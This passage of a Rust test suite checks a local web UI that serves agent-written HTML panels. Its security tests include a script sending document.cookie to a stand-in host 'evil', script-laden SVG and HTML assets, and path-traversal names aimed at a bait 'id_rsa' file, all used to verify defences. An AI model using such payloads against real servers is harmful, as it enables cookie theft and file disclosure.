10297
10298 impl Fixture {
10299 async fn start() -> Self {
10300 Self::with_loop(launch_idle).await
10301 }
10302
10303 async fn with_loop(launch: Launch) -> Self {
10305 let home = TempDir::new().expect("temp home");
10306 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10307 Self { home, addr }
10308 }
10309
10310 async fn with_repo(repo: PathBuf) -> Self {
10314 let home = TempDir::new().expect("temp home");
10315 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10316 Self { home, addr }
10317 }
10318
10319 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10322 let home = TempDir::new().expect("temp home");
10323 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10324 Self { home, addr }
10325 }
10326
10327 async fn serve(
10328 home: &FsPath,
10329 repo: PathBuf,
10330 launch: Launch,
10331 machine: Option<PathBuf>,
10332 ) -> SocketAddr {
10333 let queue = Queue::at(home.join("queue"));
10334 let runs = home.join("runs");
10335 std::fs::create_dir_all(&runs).expect("runs dir");
10336 let worktrees = home.join("wt").join("magi");
10337 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10338 let ui = Ui::new(
10339 queue,
10340 Questions::at(home.join("questions")),
10341 Talks::at(home.join("talks")),
10342 runs,
10343 home.to_path_buf(),
10344 repo,
10345 )
10346 .with_worktrees_root(worktrees)
10347 .with_machine_config(machine)
10348 .with_launch(launch);
10349 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10350 .await
10351 .expect("bind loopback");
10352 let addr = listener.local_addr().expect("local addr");
10353 tokio::spawn(async move {
10354 let router = ui
10355 .router()
10356 .layer(axum::middleware::from_fn(request_cost::observe));
10357 let _ = axum::serve(listener, router).await;
10358 });
10359 addr
10360 }
10361
10362 fn queue(&self) -> Queue {
10363 Queue::at(self.home.path().join("queue"))
10364 }
10365
10366 fn questions(&self) -> Questions {
10367 Questions::at(self.home.path().join("questions"))
10368 }
10369
10370 fn talks(&self) -> Talks {
10371 Talks::at(self.home.path().join("talks"))
10372 }
10373
10374 fn runs(&self) -> PathBuf {
10375 self.home.path().join("runs")
10376 }
10377
10378 async fn get(&self, path: &str) -> Res {
10379 request(self.addr, "GET", path, None).await
10380 }
10381
10382 async fn head(&self, path: &str) -> Res {
10387 request(self.addr, "HEAD", path, None).await
10388 }
10389
10390 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10391 request(self.addr, "POST", path, body).await
10392 }
10393
10394 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10395 request_with(self.addr, "GET", path, None, extra).await
10396 }
10397
10398 async fn delete(&self, path: &str) -> Res {
10399 request(self.addr, "DELETE", path, None).await
10400 }
10401
10402 async fn put(&self, path: &str, body: &str) -> Res {
10403 request(self.addr, "PUT", path, Some(body)).await
10404 }
10405
10406 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10408 request_bytes(self.addr, path, headers, body).await
10409 }
10410 }
10411
10412 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10415 let tmp = TempDir::new().unwrap();
10416 let mut repos = Vec::new();
10417 for name in ["one", "two"] {
10418 let repo = tmp.path().join(name);
10419 let origin = tmp.path().join(format!("{name}.git"));
10420 std::fs::create_dir_all(&repo).unwrap();
10421 crate::git::git(&repo, &["init", "-b", "main"])
10422 .await
10423 .unwrap();
10424 std::fs::write(
10425 repo.join("magi.toml"),
10426 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10427 )
10428 .unwrap();
10429 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10430 crate::git::git(
10431 &repo,
10432 &[
10433 "-c",
10434 "user.name=fixture",
10435 "-c",
10436 "user.email=fixture@example.invalid",
10437 "commit",
10438 "-m",
10439 "fixture",
10440 ],
10441 )
10442 .await
10443 .unwrap();
10444 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10445 .await
10446 .unwrap();
10447 crate::git::git(
10448 &repo,
10449 &["remote", "add", "origin", origin.to_str().unwrap()],
10450 )
10451 .await
10452 .unwrap();
10453 crate::git::git(&repo, &["push", "origin", "main"])
10454 .await
10455 .unwrap();
10456 crate::git::git(
10457 &repo,
10458 &[
10459 "symbolic-ref",
10460 "refs/remotes/origin/HEAD",
10461 "refs/remotes/origin/main",
10462 ],
10463 )
10464 .await
10465 .unwrap();
10466 let (cfg, _) = Config::discover(&repo, None).unwrap();
10467 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10468 repos.push(repo);
10469 }
10470 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10471 (tmp, repos)
10472 }
10473
10474 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10475 let (tmp, repos) = performance_repositories().await;
10476 let machine = tmp.path().join("machine.toml");
10477 std::fs::write(&machine, "").unwrap();
10478 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10479 (tmp, repos, fx)
10480 }
10481
10482 fn seed_performance(
10483 fx: &Fixture,
10484 repos: &[PathBuf; 2],
10485 questions: usize,
10486 runs: usize,
10487 items: usize,
10488 ) {
10489 for i in fx.questions().list().len()..questions {
10491 let mut question = Question::new(
10492 "20261001-000000-0000".into(),
10493 "implement".into(),
10494 "impl-A".into(),
10495 format!("question {i}"),
10496 "context".into(),
10497 vec!["yes".into(), "no".into()],
10498 );
10499 question.id = format!("20261003-000000-{i:04x}");
10500 fx.questions().put(&mut question).unwrap();
10501 }
10502 for i in run_ids(&fx.runs()).len()..runs {
10503 write_run_repo(
10504 &fx.runs(),
10505 &format!("20261001-000000-{i:04x}"),
10506 RunStatus::Ready,
10507 repos[i % 2].to_str().unwrap(),
10508 );
10509 }
10510 for i in fx.talks().list().len()..items {
10511 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10512 let mut talk = fx.talks().get(&id).unwrap();
10513 talk.repo = repos[i % 2].clone();
10514 fx.talks().put(&mut talk).unwrap();
10515 let mut task = crate::queue::Task::new(
10516 format!("task {i}"),
10517 "instruction".into(),
10518 repos[i % 2].clone(),
10519 crate::queue::Source::Agent {
10520 run: id,
10521 node: crate::queue::CHAT_NODE.into(),
10522 },
10523 );
10524 task.id = format!("20261004-000000-{i:04x}");
10525 fx.queue().put(&mut task).unwrap();
10526 if i < crate::notices::CAP {
10528 Notices::at(fx.home.path().join("notifications"))
10529 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10530 .unwrap();
10531 }
10532 }
10533 assert_eq!(fx.questions().list().len(), questions);
10534 assert_eq!(run_ids(&fx.runs()).len(), runs);
10535 assert_eq!(fx.talks().list().len(), items);
10536 assert_eq!(fx.queue().list().len(), items);
10537 assert_eq!(
10538 Notices::at(fx.home.path().join("notifications"))
10539 .list()
10540 .len(),
10541 items.min(crate::notices::CAP)
10542 );
10543 }
10544
10545 fn request_counts(res: &Res) -> (usize, usize) {
10546 assert_eq!(res.status, 200, "{}", res.body);
10547 (
10548 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10549 res.header("x-test-git").unwrap().parse().unwrap(),
10550 )
10551 }
10552
10553 #[tokio::test]
10554 async fn list_request_cost_is_independent_of_record_count() {
10555 let (_tmp, repos, fx) = performance_fixture().await;
10556 let mut previous = None;
10557 for n in [4, 60] {
10558 seed_performance(&fx, &repos, n, n, n);
10559 let mut costs = Vec::new();
10560 for (path, discoveries) in [
10561 ("/api/questions", 1),
10562 ("/api/talks", 2),
10563 ("/api/health", 1),
10564 ("/api/stats", 1),
10565 ] {
10566 for repo in &repos {
10569 let cache = repo.join(".git/magi/config");
10570 if cache.exists() {
10571 std::fs::remove_dir_all(cache).unwrap();
10572 }
10573 }
10574 let cost = request_counts(&fx.get(path).await);
10575 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10576 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10577 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10578 costs.push(cost);
10579 }
10580 if let Some(previous) = previous {
10581 assert_eq!(costs, previous);
10582 }
10583 previous = Some(costs);
10584 }
10585 }
10589
10590 #[tokio::test]
10593 async fn list_handler_cost_without_transport() {
10594 let (_tmp, repos) = performance_repositories().await;
10595 let fx = Fixture {
10596 home: TempDir::new().unwrap(),
10597 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10598 };
10599 let ui = Arc::new(
10600 Ui::new(
10601 fx.queue(),
10602 fx.questions(),
10603 fx.talks(),
10604 fx.runs(),
10605 fx.home.path().to_path_buf(),
10606 repos[0].clone(),
10607 )
10608 .with_worktrees_root(fx.home.path().join("wt")),
10609 );
10610 let mut previous = None;
10611 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10612 seed_performance(&fx, &repos, n, runs, items);
10613 let mut costs = Vec::new();
10614 for endpoint in ["questions", "talks", "health", "stats"] {
10615 for repo in &repos {
10616 let cache = repo.join(".git/magi/config");
10617 if cache.exists() {
10618 std::fs::remove_dir_all(cache).unwrap();
10619 }
10620 }
10621 let (_, cost) = request_cost::measure(async {
10622 match endpoint {
10623 "questions" => {
10624 let _ = questions_list(State(ui.clone())).await.unwrap();
10625 }
10626 "talks" => {
10627 let _ = talks_list(
10628 State(ui.clone()),
10629 Query(ListQuery {
10630 limit: None,
10631 ids: None,
10632 }),
10633 )
10634 .await
10635 .unwrap();
10636 }
10637 "health" => {
10638 let _ = health(State(ui.clone())).await.unwrap();
10639 }
10640 _ => {
10641 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10642 .await
10643 .unwrap();
10644 }
10645 }
10646 })
10647 .await;
10648 eprintln!("{endpoint} handler N={n}: {cost:?}");
10649 assert_eq!(
10650 cost.0,
10651 if endpoint == "talks" { 2 } else { 1 },
10652 "{endpoint}"
10653 );
10654 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10655 costs.push(cost);
10656 }
10657 if let Some(previous) = previous {
10658 assert_eq!(costs, previous);
10659 }
10660 previous = Some(costs);
10661 }
10662 }
10663
10664 #[tokio::test]
10665 async fn list_request_cost_scopes_do_not_mix() {
10666 let (_tmp, repos, fx) = performance_fixture().await;
10667 seed_performance(&fx, &repos, 10, 0, 10);
10668 let (questions, talks, notices) = tokio::join!(
10669 fx.get("/api/questions"),
10670 fx.get("/api/talks"),
10671 fx.get("/api/notifications")
10672 );
10673 assert_eq!(request_counts(&questions).0, 1);
10674 assert_eq!(request_counts(&talks).0, 2);
10675 assert_eq!(request_counts(¬ices), (0, 0));
10676 }
10677
10678 #[tokio::test]
10679 async fn list_endpoints_large_home_ceiling() {
10680 let (_tmp, repos, fx) = performance_fixture().await;
10681 seed_performance(&fx, &repos, 200, 300, 400);
10682 let mut failures = Vec::new();
10683 for path in [
10686 "/",
10687 "/app.js",
10688 "/app.css",
10689 "/api/questions",
10690 "/api/runs?limit=300",
10691 "/api/queue",
10692 "/api/talks",
10693 "/api/notifications",
10694 "/api/health",
10695 "/api/stats",
10696 "/api/loop",
10697 "/api/settings",
10698 "/api/repos",
10699 ] {
10700 let start = std::time::Instant::now();
10701 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10702 let elapsed = start.elapsed();
10703 eprintln!("{path}: {elapsed:?}");
10704 match result {
10705 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10706 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10707 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10708 }
10709 }
10710 assert!(failures.is_empty(), "{}", failures.join("\n"));
10711 }
10712
10713 struct Res {
10714 status: u16,
10715 headers: String,
10716 head: String,
10721 body: String,
10722 bytes: Vec<u8>,
10726 }
10727
10728 impl Res {
10729 fn json(&self) -> Value {
10730 serde_json::from_str(&self.body)
10731 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10732 }
10733
10734 fn header(&self, name: &str) -> Option<&str> {
10736 self.head.lines().find_map(|line| {
10737 let (key, value) = line.split_once(':')?;
10738 key.trim()
10739 .eq_ignore_ascii_case(name)
10740 .then(|| value.trim_start().trim_end_matches('\r'))
10741 })
10742 }
10743 }
10744
10745 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10748 request_with(addr, method, path, body, &[]).await
10749 }
10750
10751 async fn request_with(
10755 addr: SocketAddr,
10756 method: &str,
10757 path: &str,
10758 body: Option<&str>,
10759 extra: &[(&str, &str)],
10760 ) -> Res {
10761 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10762 for (name, value) in extra {
10763 head.push_str(&format!("{name}: {value}\r\n"));
10764 }
10765 if let Some(body) = body {
10766 head.push_str("Content-Type: application/json\r\n");
10767 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10768 }
10769 head.push_str("\r\n");
10770 if let Some(body) = body {
10771 head.push_str(body);
10772 }
10773 let mut socket = tokio::net::TcpStream::connect(addr)
10774 .await
10775 .expect("connect to the test server");
10776 socket
10777 .write_all(head.as_bytes())
10778 .await
10779 .expect("write request");
10780 let mut raw = Vec::new();
10781 socket.read_to_end(&mut raw).await.expect("read response");
10782 let split = raw
10785 .windows(4)
10786 .position(|w| w == b"\r\n\r\n")
10787 .expect("a header block");
10788 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10789 let bytes = raw[split + 4..].to_vec();
10790 let status = head
10791 .lines()
10792 .next()
10793 .and_then(|line| line.split_whitespace().nth(1))
10794 .and_then(|code| code.parse().ok())
10795 .expect("a status line");
10796 Res {
10797 status,
10798 headers: head.to_lowercase(),
10799 head,
10800 body: String::from_utf8_lossy(&bytes).into_owned(),
10801 bytes,
10802 }
10803 }
10804
10805 async fn request_bytes(
10811 addr: SocketAddr,
10812 path: &str,
10813 headers: &[(&str, &str)],
10814 body: &[u8],
10815 ) -> Res {
10816 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10817 for (name, value) in headers {
10818 head.push_str(&format!("{name}: {value}\r\n"));
10819 }
10820 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10821 let mut socket = tokio::net::TcpStream::connect(addr)
10822 .await
10823 .expect("connect to the test server");
10824 socket
10825 .write_all(head.as_bytes())
10826 .await
10827 .expect("write request head");
10828 socket.write_all(body).await.expect("write request body");
10829 let mut raw = Vec::new();
10830 socket.read_to_end(&mut raw).await.expect("read response");
10831 let split = raw
10832 .windows(4)
10833 .position(|w| w == b"\r\n\r\n")
10834 .expect("a header block");
10835 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10836 let bytes = raw[split + 4..].to_vec();
10837 let status = head
10838 .lines()
10839 .next()
10840 .and_then(|line| line.split_whitespace().nth(1))
10841 .and_then(|code| code.parse().ok())
10842 .expect("a status line");
10843 Res {
10844 status,
10845 headers: head.to_lowercase(),
10846 head,
10847 body: String::from_utf8_lossy(&bytes).into_owned(),
10848 bytes,
10849 }
10850 }
10851
10852 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10854 let mut state = RunState::new(
10855 PathBuf::from("/repo/magi"),
10856 "main".to_owned(),
10857 "0123456789abcdef".to_owned(),
10858 "Add a web UI\n\nMobile first.".to_owned(),
10859 Config::default(),
10860 );
10861 state.id = id.to_owned();
10862 state.status = status;
10863 let dir = runs.join(id);
10864 std::fs::create_dir_all(&dir).expect("run dir");
10865 std::fs::write(
10866 dir.join("run.json"),
10867 serde_json::to_string_pretty(&state).expect("serialize run"),
10868 )
10869 .expect("write run.json");
10870 }
10871
10872 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10876 let mut state = RunState::new(
10877 PathBuf::from(repo),
10878 "main".to_owned(),
10879 "0123456789abcdef".to_owned(),
10880 "task".to_owned(),
10881 Config::default(),
10882 );
10883 state.id = id.to_owned();
10884 state.status = status;
10885 let dir = runs.join(id);
10886 std::fs::create_dir_all(&dir).expect("run dir");
10887 std::fs::write(
10888 dir.join("run.json"),
10889 serde_json::to_string_pretty(&state).expect("serialize run"),
10890 )
10891 .expect("write run.json");
10892 }
10893
10894 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10895 let body = serde_json::json!({
10896 "schema": 1,
10897 "pid": 4242,
10898 "started_at": Timestamp::now().to_string(),
10899 "updated_at": updated_at.to_string(),
10900 "idle": false,
10901 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10902 "completed": 7,
10903 "polls": 143,
10904 });
10905 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10906 }
10907
10908 fn launch_idle(
10918 _opts: daemon::Opts,
10919 stop: daemon::Stop,
10920 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10921 Box::pin(async move {
10922 while !stop.stopped() {
10923 tokio::time::sleep(Duration::from_millis(2)).await;
10924 }
10925 Ok(())
10926 })
10927 }
10928
10929 fn launch_broken(
10932 _opts: daemon::Opts,
10933 _stop: daemon::Stop,
10934 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10935 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10940 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10941 Box::pin(async move {
10942 Err(anyhow::anyhow!(if first {
10943 "publish the daemon status file: read-only file system"
10944 } else {
10945 "the restarted stand-in failed as well"
10946 }))
10947 })
10948 }
10949
10950 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10957 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10958
10959 fn launch_knocking_on_the_way_out(
10966 _opts: daemon::Opts,
10967 stop: daemon::Stop,
10968 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10969 Box::pin(async move {
10970 while !stop.stopped() {
10971 tokio::time::sleep(Duration::from_millis(2)).await;
10972 }
10973 let addr = PARK_KNOCK
10974 .lock()
10975 .expect("park knock")
10976 .expect("the test set an address");
10977 let heard = request(addr, "GET", "/api/health", None).await.status;
10978 *PARK_HEARD.lock().expect("park heard") = Some(heard);
10979 Ok(())
10980 })
10981 }
10982
10983 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10992 for _ in 0..SETTLE_STEPS {
10993 let view = fx.get("/api/loop").await.json();
10994 if want(&view) {
10995 return view;
10996 }
10997 tokio::time::sleep(Duration::from_millis(10)).await;
10998 }
10999 panic!(
11000 "the loop never settled: {}",
11001 fx.get("/api/loop").await.json()
11002 );
11003 }
11004
11005 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11007 let store = fx.questions();
11008 let mut q = Question::new(
11009 "20260902-000000-beef".to_owned(),
11010 "implement".to_owned(),
11011 "impl-A".to_owned(),
11012 summary.to_owned(),
11013 "because it matters".to_owned(),
11014 choices.iter().map(|c| (*c).to_owned()).collect(),
11015 );
11016 store.put(&mut q).expect("put question");
11017 q.id
11018 }
11019
11020 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11026 let store = fx.questions();
11027 let mut q = Question::new(
11028 "20260902-000000-beef".to_owned(),
11029 "land".to_owned(),
11030 "fix".to_owned(),
11031 "Merge this?".to_owned(),
11032 "the diff is in the panel".to_owned(),
11033 vec!["merge".to_owned(), "hold".to_owned()],
11034 );
11035 let staging = fx.home.path().join("staging");
11038 std::fs::create_dir_all(&staging).expect("staging dir");
11039 let sources: Vec<PathBuf> = assets
11040 .iter()
11041 .map(|(name, bytes)| {
11042 let path = staging.join(name);
11043 std::fs::write(&path, bytes).expect("write staged asset");
11044 path
11045 })
11046 .collect();
11047 store
11048 .put_panel(&mut q, html, &sources)
11049 .expect("write the panel");
11050 store.put(&mut q).expect("put question");
11051 q.id
11052 }
11053
11054 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11063 seed_talk_at(&fx.talks(), id, status)
11064 }
11065
11066 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11067 std::fs::create_dir_all(store.root()).expect("talks dir");
11068 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11069 .expect("serialize a seat");
11070 let body = serde_json::json!({
11071 "schema": 1,
11072 "id": id,
11073 "repo": "/repo/magi",
11074 "agent": "mock",
11075 "status": status,
11076 "turns": [],
11077 "created_at": Timestamp::now().to_string(),
11078 "updated_at": Timestamp::now().to_string(),
11079 "seat": seat,
11080 });
11081 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11082 store.get(id).expect("the seeded talk has to be readable");
11083 id.to_owned()
11084 }
11085
11086 #[tokio::test]
11087 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11088 let fx = Fixture::start().await;
11089 let id = panel(
11090 &fx,
11091 "<h1>Merge?</h1><img src=\"diff.svg\">",
11092 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11093 );
11094
11095 for path in [
11096 format!("/api/questions/{id}/panel"),
11097 format!("/api/questions/{id}/asset/diff.svg"),
11098 ] {
11099 let res = fx.get(&path).await;
11100 assert_eq!(res.status, 200, "{path}: {}", res.body);
11101 assert_eq!(
11107 res.header("content-security-policy"),
11108 Some(
11109 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11110 font-src data:; base-uri 'none'; form-action 'none'; \
11111 frame-ancestors 'self'"
11112 ),
11113 "{path} is the only thing between a hostile panel and the tailnet"
11114 );
11115 assert_eq!(
11116 res.header("x-content-type-options"),
11117 Some("nosniff"),
11118 "{path}: a browser must not re-decide the type we sent"
11119 );
11120 assert_eq!(
11121 res.header("referrer-policy"),
11122 Some("no-referrer"),
11123 "{path}: a panel must not leak the question id off the machine"
11124 );
11125
11126 let pre = fx.head(&path).await;
11131 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11132 assert_eq!(
11133 pre.header("content-security-policy"),
11134 res.header("content-security-policy"),
11135 "{path}: the preflight carries the same policy"
11136 );
11137 assert_eq!(
11138 pre.header("content-type"),
11139 res.header("content-type"),
11140 "{path}: the preflight carries the same type"
11141 );
11142 }
11143 }
11144
11145 #[tokio::test]
11146 async fn a_panel_reaches_the_browser_byte_for_byte() {
11147 let fx = Fixture::start().await;
11148 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11153 let id = panel(&fx, html, &[]);
11154
11155 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11156
11157 assert_eq!(res.status, 200);
11158 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11159 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11160 assert_eq!(
11161 res.header("content-disposition"),
11162 None,
11163 "the panel itself is rendered in the frame, not downloaded"
11164 );
11165 }
11166
11167 #[tokio::test]
11168 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11169 let fx = Fixture::start().await;
11170 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11171 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11172 let id = panel(
11173 &fx,
11174 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11175 &[("diff.svg", svg), ("shot.png", png)],
11176 );
11177
11178 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11179 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11180
11181 assert_eq!(as_svg.status, 200);
11182 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11183 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11188
11189 assert_eq!(as_png.status, 200);
11190 assert_eq!(as_png.header("content-type"), Some("image/png"));
11191 assert_eq!(
11192 as_png.header("content-disposition"),
11193 None,
11194 "a raster image has no execution surface, so tapping it still shows it"
11195 );
11196 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11197 }
11198
11199 #[tokio::test]
11200 async fn an_html_asset_is_never_served_as_html() {
11201 let fx = Fixture::start().await;
11202 let id = panel(
11203 &fx,
11204 "<p>see the notes</p>",
11205 &[
11206 (
11207 "notes.html",
11208 b"<script>fetch('http://evil/'+document.cookie)</script>",
11209 ),
11210 ("hook.js", b"fetch('http://evil/')"),
11211 ("data.json", b"{}"),
11212 ("HEADLINE.TXT", b"plain"),
11213 ],
11214 );
11215
11216 for name in ["notes.html", "hook.js", "data.json"] {
11217 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11218 assert_eq!(res.status, 200, "{name}: {}", res.body);
11219 assert_eq!(
11224 res.header("content-type"),
11225 Some("application/octet-stream"),
11226 "{name} must not be a type the browser will execute or render"
11227 );
11228 }
11229 let txt = fx
11232 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11233 .await;
11234 assert_eq!(
11235 txt.header("content-type"),
11236 Some("text/plain; charset=utf-8")
11237 );
11238 }
11239
11240 #[tokio::test]
11241 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11242 let fx = Fixture::start().await;
11243 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11244 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11248
11249 for encoded in [
11256 "%2e%2e%2fid_rsa",
11257 "..%2fid_rsa",
11258 "..%5cid_rsa",
11259 "%2e%2e%5cid_rsa",
11260 "diff%00.svg",
11261 "..",
11262 ".hidden",
11263 "%2e%2e%2f%2e%2e%2fid_rsa",
11264 ] {
11265 let res = fx
11266 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11267 .await;
11268 assert_eq!(
11269 res.status, 400,
11270 "`{encoded}` has to be refused by name, not looked up: {}",
11271 res.body
11272 );
11273 assert!(res.json()["error"].is_string(), "{}", res.body);
11274 }
11275
11276 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11282 let res = fx
11283 .get(&format!("/api/questions/{id}/asset/{literal}"))
11284 .await;
11285 assert_eq!(
11286 res.status, 404,
11287 "`{literal}` must not match the asset route at all: {}",
11288 res.body
11289 );
11290 }
11291 }
11292
11293 #[tokio::test]
11294 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11295 let fx = Fixture::start().await;
11296 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11297 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11298
11299 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11303 assert_eq!(none.status, 404, "{}", none.body);
11304 assert!(none.json()["error"].is_string(), "{}", none.body);
11305 assert_eq!(
11306 fx.head(&format!("/api/questions/{plain}/panel"))
11307 .await
11308 .status,
11309 404,
11310 "the preflight is the only way the client can learn this"
11311 );
11312
11313 let missing = fx
11315 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11316 .await;
11317 assert_eq!(missing.status, 404, "{}", missing.body);
11318 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11319
11320 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11322 assert_eq!(
11323 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11324 404
11325 );
11326 }
11327
11328 #[tokio::test]
11329 async fn a_run_with_an_open_question_reads_as_waiting() {
11330 let fx = Fixture::start().await;
11331 let run = "20260902-000000-beef".to_owned();
11332 write_run(&fx.runs(), &run, RunStatus::Implementing);
11333
11334 let before = fx.get("/api/runs").await.json();
11335 assert_eq!(before[0]["waiting"], false, "{before}");
11336
11337 let store = fx.questions();
11338 let mut q = Question::new(
11339 run.clone(),
11340 "implement".to_owned(),
11341 "impl-A".to_owned(),
11342 "Which backend?".to_owned(),
11343 String::new(),
11344 vec!["SQLite".to_owned()],
11345 );
11346 store.put(&mut q).expect("put");
11347
11348 let during = fx.get("/api/runs").await.json();
11349 assert_eq!(during[0]["waiting"], true, "{during}");
11350
11351 q.answer(Answer::Choice("SQLite".to_owned()))
11354 .expect("answer");
11355 store.put(&mut q).expect("put");
11356 let after = fx.get("/api/runs").await.json();
11357 assert_eq!(after[0]["waiting"], false, "{after}");
11358 }
11359
11360 #[tokio::test]
11361 async fn an_open_question_is_listed_and_counted_by_health() {
11362 let fx = Fixture::start().await;
11363 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11364
11365 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11366 let listed = fx.get("/api/questions").await.json();
11367 assert_eq!(listed.as_array().expect("array").len(), 1);
11368 assert_eq!(listed[0]["id"], id);
11369 assert_eq!(listed[0]["status"], "open");
11370 assert_eq!(listed[0]["choices"][1], "Redis");
11371 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11374 }
11375
11376 fn obsolete_approval_state() -> RunState {
11377 let mut state = crate::land::tests::repair_state(true, true);
11378 state.pr = Some(crate::run::PrRecord {
11379 url: "https://github.com/example/repo/pull/42".into(),
11380 number: 42,
11381 state: "open".into(),
11382 checks: "green".into(),
11383 round: 1,
11384 rounds: 4,
11385 red_at_merge: Vec::new(),
11386 });
11387 state
11388 }
11389
11390 #[tokio::test]
11391 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11392 for owner in ["missing", "current", "completed", "later"] {
11393 let fx = Fixture {
11394 home: TempDir::new().unwrap(),
11395 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11396 };
11397 let mut state = obsolete_approval_state();
11398 state.status = RunStatus::Landing;
11399 state.parked = true;
11400 state.driver_exited = true;
11401 let mut q = Question::new(
11402 state.id.clone(),
11403 crate::land::APPROVAL_NODE.into(),
11404 "land".into(),
11405 "Old approval".into(),
